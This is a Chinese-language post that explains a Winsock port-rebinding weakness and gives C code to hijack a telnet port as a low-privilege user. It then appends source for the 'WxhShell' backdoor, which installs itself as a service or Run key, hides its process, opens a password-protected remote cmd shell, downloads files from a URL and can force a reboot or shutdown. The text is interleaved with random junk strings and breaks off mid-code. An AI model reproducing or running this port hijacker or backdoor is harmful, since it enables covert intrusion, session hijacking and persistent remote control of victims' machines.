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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Av[L,4A s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); UV8,SSDTV f.rc~UI? saddr.sin_family = AF_INET; NltEX14Af $$+6=r} saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;,GE!9HW QZ(se bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Y%OE1F$6NN gf2<dEff 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 @A6P[r 6+HpN"?e 这意味着什么?意味着可以进行如下的攻击: l%]S7|PKx ':6!f 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (.Yt|
"j F aO=<jYi 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) {X$8yy2zC5 v7"' ^sZ? 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 to@ O A\J|eSG'$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 gd3~R+Kd Qm86!(eZ- 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 gE8p**LT+ qv|geBW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 afY~Y?PJ< XUeBK/aQ{ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 !uoU 8Ki9 2VaQxctk #include *ZP$dQ #include bp Q/#\Z #include =9@{U2 =l #include hhQLld4 DWORD WINAPI ClientThread(LPVOID lpParam); >-fOkOWXy int main() DEEQ/B{ { pX3Q@3,$ WORD wVersionRequested; j8kax/*[ DWORD ret; f,{O%*PUA WSADATA wsaData; lrg3n[y-l BOOL val; 'B&gr}@4O= SOCKADDR_IN saddr; IfF@$eO SOCKADDR_IN scaddr; "@IrBi6 int err; $w{!}U 2+- SOCKET s; & yFS SOCKET sc; hd*bPj; int caddsize; -m*IpDi HANDLE mt; Z%_"-ENT DWORD tid; ?g*#ld() wVersionRequested = MAKEWORD( 2, 2 ); 3dm lP2 err = WSAStartup( wVersionRequested, &wsaData ); OrN>4S if ( err != 0 ) { Hbz >D5$ printf("error!WSAStartup failed!\n"); ;ew j return -1; KDD_WXGt~ } hkOhY3K5 saddr.sin_family = AF_INET; b?Dhhf T;/Y/Fd //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 =ZdP0l+V=k ,n&@O,XGy
saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 3(D!]ku~m saddr.sin_port = htons(23); 6;rJIk@Fx= if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) >
cFH=um { x>MrB printf("error!socket failed!\n"); $RA8U:Q!1e return -1; ];cJIa } ,CACQhrng val = TRUE; 8BP.VxX //SO_REUSEADDR选项就是可以实现端口重绑定的 :ryyo$ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) s~OGlPK { bF'Y.+"dr printf("error!setsockopt failed!\n"); 0< i]ph return -1; iDp'M`(6h } ]:Y@pZ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; #NU;$& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 t
As@0`x9 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x3cno# bvVEV if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) C:Tjue{G2 { !*Hgl\t6a ret=GetLastError(); F$[1KjS printf("error!bind failed!\n"); a%R'x] return -1; 3{wr*L1%-~ } FdrH, listen(s,2); (J!FW(Ma|= while(1) e) Q{yO { zMZP3
xir caddsize = sizeof(scaddr); !YJfP@"e6r //接受连接请求 RY8Ot2DWi sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <G d?,}\ if(sc!=INVALID_SOCKET) ){ywk { uL`6}0 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); P<&-8QA if(mt==NULL) ldEZ _g^ { !VNLjbee. printf("Thread Creat Failed!\n"); gWlv;oq break; xc|pl!ns } O0|**Km\+ } lHg&|S&J CloseHandle(mt); EP!zcp2' C } A\{dq: closesocket(s); ED9uKp<Wbv WSACleanup(); 6O|B'?]Pf return 0; 9wR-0E
) } M6$9- DWORD WINAPI ClientThread(LPVOID lpParam) :wlX`YW+e { dy>iIc> SOCKET ss = (SOCKET)lpParam;
kzZdYiC SOCKET sc; .23z\M8
- unsigned char buf[4096]; }B-@lbK6) SOCKADDR_IN saddr; jlhyn0 long num; `jl 1Q,~2r DWORD val; o;.6Y `-fJ DWORD ret; r3 OTU$t? //如果是隐藏端口应用的话,可以在此处加一些判断 < 0S+[7S" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %cy]dEL7 saddr.sin_family = AF_INET; q]1HCWde saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); f>g<:.k* saddr.sin_port = htons(23); Z^Y_+)=s if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) fpj,~+ { o6{[7jI printf("error!socket failed!\n"); @fDWp/ return -1; 0RaE!4)!; } :?!kZD! val = 100; tS$^k)ZXip if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) v% mAU3M { E=Z;T ret = GetLastError(); *rs@6BSj return -1; AOh\%|} } w!~%v
#
if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) LyEM^d] { Q> Lh.U,{ ret = GetLastError(); ^TC<_]7 return -1; zli@X Z# } NGA8JV/U if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `# N j8 { B hO*Pfs printf("error!socket connect failed!\n"); _;o)MTw|' closesocket(sc); }N^A
(`L closesocket(ss); x1g0_&F return -1; gBF2.{"^ } %'}zr>tx: while(1) qs96($ { `WjRb //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ck=x_HB1 //如果是嗅探内容的话,可以再此处进行内容分析和记录 pS1f y] //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 PS" , num = recv(ss,buf,4096,0); r8o9C if(num>0) v#. %eF
m send(sc,buf,num,0); @O&<_& else if(num==0) "OIra2O break; >8I?YT. num = recv(sc,buf,4096,0);
4
_*^~w if(num>0)
;oej~ send(ss,buf,num,0); X:aLed_{f else if(num==0) K>!+5A$6i break; ;WF3w } 2ZZ%BV!s closesocket(ss); 4Nz@s^9 closesocket(sc);
]Wc:9Zb return 0 ; -i,=sZXB } +#||
w9p Y|*a,H"_ /< OoZf+[ ========================================================== Gr1WBYK =Nyq1~ 下边附上一个代码,,WXhSHELL 6c[&[L% V30Om3C ========================================================== .u+ZrA# EWcqMD]4u #include "stdafx.h" scXY~l]I* (%bqeI!ob #include <stdio.h> j %3wD2 l #include <string.h> =vd9mb- #include <windows.h> OA_WjTwDs #include <winsock2.h> 8ZnHp~ #include <winsvc.h> Ng1{NI+S #include <urlmon.h> 5,i0QT" )<<}8Fs #pragma comment (lib, "Ws2_32.lib") D-v}@tS' #pragma comment (lib, "urlmon.lib") l r16*2. 2YS1%<-g* #define MAX_USER 100 // 最大客户端连接数 E`M, n, #define BUF_SOCK 200 // sock buffer :1O49g3R #define KEY_BUFF 255 // 输入 buffer <-Hw@g >Y3ZK{b #define REBOOT 0 // 重启 aMLtZ7i> #define SHUTDOWN 1 // 关机 lRy^Wp 1@$n)r` #define DEF_PORT 5000 // 监听端口
`oPUf! pA~eGar_J #define REG_LEN 16 // 注册表键长度 h;+bHrKji #define SVC_LEN 80 // NT服务名长度 p7Q}xx %o4d(C B // 从dll定义API eu^B typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); xE0'eC5n^ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); A9 D vU)1 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5[qCH(6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7uI~Xo?N 8|U-{"!O? // wxhshell配置信息 t,v=~LE struct WSCFG { `S&.gPE2 int ws_port; // 监听端口 ;7
F'xz" char ws_passstr[REG_LEN]; // 口令 3|Vh[iAa\ int ws_autoins; // 安装标记, 1=yes 0=no $-J=UT2m char ws_regname[REG_LEN]; // 注册表键名 s|q]11r+H char ws_svcname[REG_LEN]; // 服务名 uhf%
zG char ws_svcdisp[SVC_LEN]; // 服务显示名 &_Vd char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]"T1clZKd( char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9 M<3m int ws_downexe; // 下载执行标记, 1=yes 0=no Nfdh0v char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" s6F^z\6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 {CVn&|}J H\[:uUK5\ }; TM?RH{(r >ow5aOlQ& // default Wxhshell configuration >oOZDuj struct WSCFG wscfg={DEF_PORT, 2(%C "xuhuanlingzhe", )=EJFQ*v 1, fcLVE "Wxhshell", OU /=w pt "Wxhshell", mO1r~-~AJ "WxhShell Service", f(r=S Xa* "Wrsky Windows CmdShell Service", "N\tR[P! "Please Input Your Password: ", 4{Q{>S*h 1, JPq2C\Ka " http://www.wrsky.com/wxhshell.exe", ?-HLP%C(' "Wxhshell.exe" ]g0h7q)79 }; #3WKm*T/ )>X
C_ R // 消息定义模块 l2lyi
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =bwuLno> char *msg_ws_prompt="\n\r? for help\n\r#>"; )^^Eh=Kbj char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; $ZEwz;HNo char *msg_ws_ext="\n\rExit."; -{tB&V~+v char *msg_ws_end="\n\rQuit."; HLYTt)f} char *msg_ws_boot="\n\rReboot..."; !eH9LRp char *msg_ws_poff="\n\rShutdown..."; -? |-ux char *msg_ws_down="\n\rSave to "; (>
{CwtH][ +"HLx%k char *msg_ws_err="\n\rErr!"; mTsl"A> char *msg_ws_ok="\n\rOK!"; EG|fGkv" 0OrT{jo char ExeFile[MAX_PATH]; .e,(}_[[< int nUser = 0; NGYUZ\m HANDLE handles[MAX_USER]; 6S2u%-] int OsIsNt; :nPLQqXGQ XC
D &Im SERVICE_STATUS serviceStatus; `]0E) SERVICE_STATUS_HANDLE hServiceStatusHandle; OK6c"*<z hA0g'X2eC // 函数声明 l\NVnXv:> int Install(void); >kLUQ%zE@ int Uninstall(void); ]sbj8 int DownloadFile(char *sURL, SOCKET wsh); e_6-+l!f int Boot(int flag); :*`5|'G} void HideProc(void); +~E;x1&' int GetOsVer(void); ^Ia:e
?)W int Wxhshell(SOCKET wsl); AWY#t& void TalkWithClient(void *cs); e)Be*J]4 int CmdShell(SOCKET sock); @-7h}2P Q int StartFromService(void); g.&n
X/ int StartWxhshell(LPSTR lpCmdLine); vw;GbQH( :#?Z)oQpT VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (4hCT* VOID WINAPI NTServiceHandler( DWORD fdwControl ); E% ?X-$a ]
BJ] // 数据结构和表定义 /!V)2j, SERVICE_TABLE_ENTRY DispatchTable[] = |Sne\N>% { xXCSaBS~ {wscfg.ws_svcname, NTServiceMain}, WB:NV=&^ {NULL, NULL} oi@/H\7j }; JD Q7 &.>
2@ // 自我安装 GE2^v_
int Install(void) ?"d25LyN { *0K@^Db- char svExeFile[MAX_PATH]; _I"T(2Au HKEY key; Qx
B0I/
{ strcpy(svExeFile,ExeFile); eQiK\iDS )2Ru}
-H // 如果是win9x系统,修改注册表设为自启动 G(g.~|=EZ if(!OsIsNt) { m0: IFE($ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Zj(2$9IU RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lWVvAoe RegCloseKey(key); r#%e$
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @w8MOT$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gu3# y"a> RegCloseKey(key); i'[o,dbE return 0; Ewfzjc } tX<.
Ud } i]>)'i } >uu]K else { TA2?Ia;@xV gc
ce]QS // 如果是NT以上系统,安装为系统服务 4RLuv?,)~ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 0Gq}x;8H& if (schSCManager!=0) O|5Z-r0< { 0u3"$o'R SC_HANDLE schService = CreateService O&]P
u5 ( ]TE,N$X schSCManager, D2060ze wscfg.ws_svcname, 3 NLC~CJ wscfg.ws_svcdisp, bv%A; SERVICE_ALL_ACCESS, c]u^0X?& SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Yv!r>\#0S SERVICE_AUTO_START, Id<3'ky<N SERVICE_ERROR_NORMAL, ?qdZ]M4e svExeFile, $aY*1UVq NULL, A6 D@#(D NULL, \Y>!vh X NULL, 7sC8|+ NULL, D^G5$hi NULL wDL dmrB ); |uT&M`7\{ if (schService!=0) Zx1 I&K\Cd {
x]6wiV CloseServiceHandle(schService); /5PV|onO CloseServiceHandle(schSCManager); *c0\<BI strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +Kw&XRAd strcat(svExeFile,wscfg.ws_svcname); Fz3QSr7FU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FL,av>mV RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !6yyX}%o RegCloseKey(key); ?HsQ417.H return 0; ]+OHxCj: } |X'Pa9u } IK
/@j CloseServiceHandle(schSCManager); F+lsza } bnm3
cR:h" } |x
Nd^ !,I530eh7 return 1; Buv4&.Z} } -UhSy>m B?-~f^*,jG // 自我卸载 SU {U+ int Uninstall(void) #nzVgV] { =LUDg7P HKEY key; " %,KZI w`77E= if(!OsIsNt) { ?)60JWOJ1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~<)CI0= RegDeleteValue(key,wscfg.ws_regname); iJr 1w&GL$ RegCloseKey(key); =`
%iv|>r0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :kaHvf RegDeleteValue(key,wscfg.ws_regname); knPo"GQW RegCloseKey(key); Hy_}e" return 0; c^$+=-G{fd } DM73
Nn^5 } 1\~-No } _kJ?mTk else { !OO{qw(*g (ohza<X;6 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >`@c9
m if (schSCManager!=0) cl4Vi% { v)TFpV6b{p SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); XQH
wu if (schService!=0) X`,]@c%C` { Y?^1=9?6 if(DeleteService(schService)!=0) { ub#>kCL9 CloseServiceHandle(schService); ,IODV`L CloseServiceHandle(schSCManager); RgPY,\_9+ return 0; 9 aE.jpN } L&i _ CloseServiceHandle(schService); @t;WdbxB% } !.[N(%" CloseServiceHandle(schSCManager); yXpU)|o } B;r o(R } nhUL{ER 5_d=~whO&2 return 1; <MPoDf?h } e-taBrl; p
PF]&:&-b // 从指定url下载文件 6L2Si4OGjG int DownloadFile(char *sURL, SOCKET wsh) c1,dT2:= { {O"?_6', HRESULT hr;
`#m>3 char seps[]= "/"; SSS)bv8m char *token; CkJU5D char *file; fO4e[g;G char myURL[MAX_PATH]; K }]0<\N char myFILE[MAX_PATH]; OfR\8hAY =h083|y> strcpy(myURL,sURL); e|L$e0 token=strtok(myURL,seps); &I[ITp6y0 while(token!=NULL) lO+<T[ { ~vCfMV[F file=token; is3nLm( token=strtok(NULL,seps); Y'.WO[dgf } 9}4EW4
U2 tsHm.O GetCurrentDirectory(MAX_PATH,myFILE); +Oae3VFf; strcat(myFILE, "\\"); $ljgFmR_ strcat(myFILE, file); u%^Lu.l_c send(wsh,myFILE,strlen(myFILE),0); [":[\D' send(wsh,"...",3,0); [n`SXBi+n hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !~'\Ey if(hr==S_OK) )8c`o return 0; 0I.9m[<Fc else ;x[F4d return 1; c=YJ:&/5& 2u[:3K-@, } ,_66U;T >`jsUeS // 系统电源模块 @17hB h int Boot(int flag) |~!
R5|Q { /!o(Y8e>x HANDLE hToken; #\+TKK TOKEN_PRIVILEGES tkp; ub"(,k P 26fm}QV if(OsIsNt) { _v=@MOI/J OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); tQ7DdVdix LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $*| :A tkp.PrivilegeCount = 1; Mk=;UBb$X tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *yuw8 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); GHHErXT\a if(flag==REBOOT) { 2Yx6.e< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) o7feH 6Sh return 0; S9Fg0E+J } p[(VhbN else { JM{S49Lx if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) G"jKYW return 0; j+3~ } R
v9?<] } YJw 9 d] else { :&=TE 2 if(flag==REBOOT) { 9.|+KIRb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NF1e>O:a< return 0; pti`q) } QD LXfl/ else { _=Y]ZX`j if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) G7k0P-r,0 return 0; #&.&Uu$ } (Rvke!"B } (NUk{MTX cL&V2I5O return 1; I)ub='+&; } 'kc_OvVA yhe$A<Rl= // win9x进程隐藏模块 m?-3j65z void HideProc(void) tRYMK+ { %3'4QmpR 9`\hG%F HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); lTPo2-j/eK if ( hKernel != NULL ) o#{D;' { i^(_Gk pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =+q9R`!L] ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); CjM+%l0MW FreeLibrary(hKernel); 2O {@W +Mt } 1oaiA/bq vV1F| return; ]#N2:ych } fGJPZe :W,6zv(..u // 获取操作系统版本 4VPL
-":6 int GetOsVer(void) T#^ { CU 2;m\Hc OSVERSIONINFO winfo; >2`)S{pBD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $j^Jj GetVersionEx(&winfo); eX9{ wb( if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ,+P!R0PNH return 1; >`p`^: else <3z]d?u return 0; `CW8Wj } F"j0;}+N `pzp(\lc // 客户端句柄模块 _{&znXf>?6 int Wxhshell(SOCKET wsl) =)m2u2c M { A1@tp/L=o SOCKET wsh; STs~GOm- struct sockaddr_in client; +T=Z!2L DWORD myID; 8 s!0Z1Roc O^hWG ~o while(nUser<MAX_USER) KDgJ~T { a ^<W
?Z int nSize=sizeof(client); T5NO}bz wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g5R2a7 if(wsh==INVALID_SOCKET) return 1; [=9-AG~} /ZZo`
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); j]}A"8=1 if(handles[nUser]==0) [wP;g'F closesocket(wsh); 2}>jq8Y47 else `h_,I R< nUser++; NY\q } M4pEwD WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); vGO- a2Z C_=! ( @`8 return 0; :U)q(.53 } :j9{n ,F Z; Xg5 // 关闭 socket <~t38|Ff@
void CloseIt(SOCKET wsh) 5j1}?0v_ { IBb3A closesocket(wsh); %)8`(9J* nUser--; 6ND,4'6 ExitThread(0); &Qy_= -] } 9r@r\- 5i7,s // 客户端请求句柄 7g_:Gv~v void TalkWithClient(void *cs)
2]C`S,) { 7(^<Z5@ lBh|+KN SOCKET wsh=(SOCKET)cs; RK#e7 char pwd[SVC_LEN]; !OekN,6 char cmd[KEY_BUFF]; _H>ABo char chr[1]; ym:^Y-^iV int i,j; G^!20`p: |[(4h while (nUser < MAX_USER) { 5c($3Pno= ?Q;8D@
if(wscfg.ws_passstr) { QgO@oV* S if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Lw\ANku //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n^'ip{ //ZeroMemory(pwd,KEY_BUFF); H>_ FCV8 i=0; )VQ:L:1t( while(i<SVC_LEN) { RxU6.5N 7g}4gX's // 设置超时 [tym~ZZ]_m fd_set FdRead; , fFB.q"
struct timeval TimeOut; 1i4KZ"A5+ FD_ZERO(&FdRead); GiJ|5" FD_SET(wsh,&FdRead); KL,=Z&.<= TimeOut.tv_sec=8; k-xh-& TimeOut.tv_usec=0; Mz#
&"WjF int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 'x{g P?. if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); VI0^Zq!6R 9V`/zq? if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o$oW-U pwd =chr[0]; 7kx)/Rw\B if(chr[0]==0xd || chr[0]==0xa) { YpoO: pwd=0; >'wl)j$ break; 8<t6_* f } xu(5U`K i++; )Q9m,/F } jhrmQS ]N_(M // 如果是非法用户,关闭 socket =($RT if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); &1YqPk } I=6\z^: uFOxb}a9v send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /R^Moj< send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); >(S4h}^I ZQ9!k*
^ while(1) { T`7;Rl'Q ne] |\] ZeroMemory(cmd,KEY_BUFF); 35B G&;C "_]n_[t2C // 自动支持客户端 telnet标准 J*$u j=0; [>QV^2'Z while(j<KEY_BUFF) { j9n3 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L&ySXc= cmd[j]=chr[0]; xr+K:
bw if(chr[0]==0xa || chr[0]==0xd) { e^Q$Tog< cmd[j]=0; e}y oy+9 break; T#xCu|5 } U1bhd}MoR j++; Q*}#?g } BlUl5mP}> Nl3x
BM% // 下载文件 3XdN\xc if(strstr(cmd,"http://")) { ?F]Yebp^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); uSCF;y=1g, if(DownloadFile(cmd,wsh)) ["|AD,$% send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6*cG>I.Z else rTYDa3 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?nJ7lLQA } |#8u:rguy else { \9;u.&$mNB sG`|| Kb;n switch(cmd[0]) { 0yr=$F(]s O9*cV3}H // 帮助 /3->TS case '?': { : Y/i%#*1 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7_C;- break; ON#\W>MK? } {WUW.(^]G // 安装 \U;4\ case 'i': { {vYmK#} if(Install()) ktLXL;~X send(wsh,msg_ws_err,strlen(msg_ws_err),0); >(5*y=\i else | n5F_RL send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WGjT06a\ break; (,1}P } H?98^y7 // 卸载 Gc2sY 0 case 'r': { R r! PU if(Uninstall()) tn\Y: send(wsh,msg_ws_err,strlen(msg_ws_err),0); Jcf'Zw"\ else 9z7^0Ruw send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (dD+?ZOO break; 3 EH/6 } cF!ygz// // 显示 wxhshell 所在路径 vmdu9"H
case 'p': { )W9W8>Cc5_ char svExeFile[MAX_PATH]; [tYly`F strcpy(svExeFile,"\n\r"); +F3@-A strcat(svExeFile,ExeFile); ZN>oz@jY send(wsh,svExeFile,strlen(svExeFile),0); O{Bll;C break; 1gk{|keh } KdU!wsKfG // 重启 qN((Xz+AZE case 'b': { _j{^I^P send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); O8:$sei$ if(Boot(REBOOT)) )Los\6PRn send(wsh,msg_ws_err,strlen(msg_ws_err),0); %qG nvQ else { ap|7./yg closesocket(wsh); AITV+=sN ExitThread(0); p.{9OrH(4 } ^rF{%1 DT break; c_$9z>$ } E`vCYhf{ // 关机 ]|NwC< case 'd': { yZ7aH|Q81B send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 9
Yv;Dom if(Boot(SHUTDOWN)) tbz?th\# send(wsh,msg_ws_err,strlen(msg_ws_err),0); Rou$`<{H else { D0T0Km/" closesocket(wsh); kMD:~V ExitThread(0); Yphru"\$ } ;O7CahdF break; #i$/qk=N } t~mbe // 获取shell W)WL1@!Z case 's': { #H]cb# CmdShell(wsh); {Rc!S? 8 closesocket(wsh); 7A7=~:l\G ExitThread(0); xw?Mc{w break; MQD%m ;[s } US8pT|/ // 退出 w!$|IC case 'x': { `[T|Ck5 send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l=(4o4um CloseIt(wsh); R@lmX%Z1 break; ?6h65GO{ } rn1^6qy) // 离开 f{ZOH<"Lo case 'q': { R"Ol'y{ send(wsh,msg_ws_end,strlen(msg_ws_end),0); r;3{%S._ closesocket(wsh); !>$tRW?gH~ WSACleanup(); qU!*QZ^y& exit(1); T /iKz break; &Nf10%J'< } ]"'$i4I{R } ~udi=J| } d*7nz=0&$ WfbG }%&J // 提示信息 r>fx55dw if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oK;.|ja } bn`1JI@S4 } 9f
,$JjX[ tb;!2$ return; anwMG0 } #{973~uj [kf$82 // shell模块句柄 SrMg=a int CmdShell(SOCKET sock) I!IWmU6FN { BR1oE3in STARTUPINFO si; a]NQlsE}l ZeroMemory(&si,sizeof(si)); RS&l68[6 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .PyPU]w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $$E!u} PROCESS_INFORMATION ProcessInfo; GX4HW \>a char cmdline[]="cmd"; Ns.b8Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6FMW}*6< return 0; r)$(>/[$ } .ztO._J7f mjdZ^ // 自身启动模式 8BUPvaP<[ int StartFromService(void) "b&[W$e { C3|(XChqC typedef struct Fl,(KSTz { j6wdqa9!~ DWORD ExitStatus; GC(:}e | DWORD PebBaseAddress; CBC0X}_` DWORD AffinityMask; D[)
Z$+D4f DWORD BasePriority; <uXZ*E ULONG UniqueProcessId; T_}9b ULONG InheritedFromUniqueProcessId; o#V}l^uU= } PROCESS_BASIC_INFORMATION; w}="}Cb yyZV/
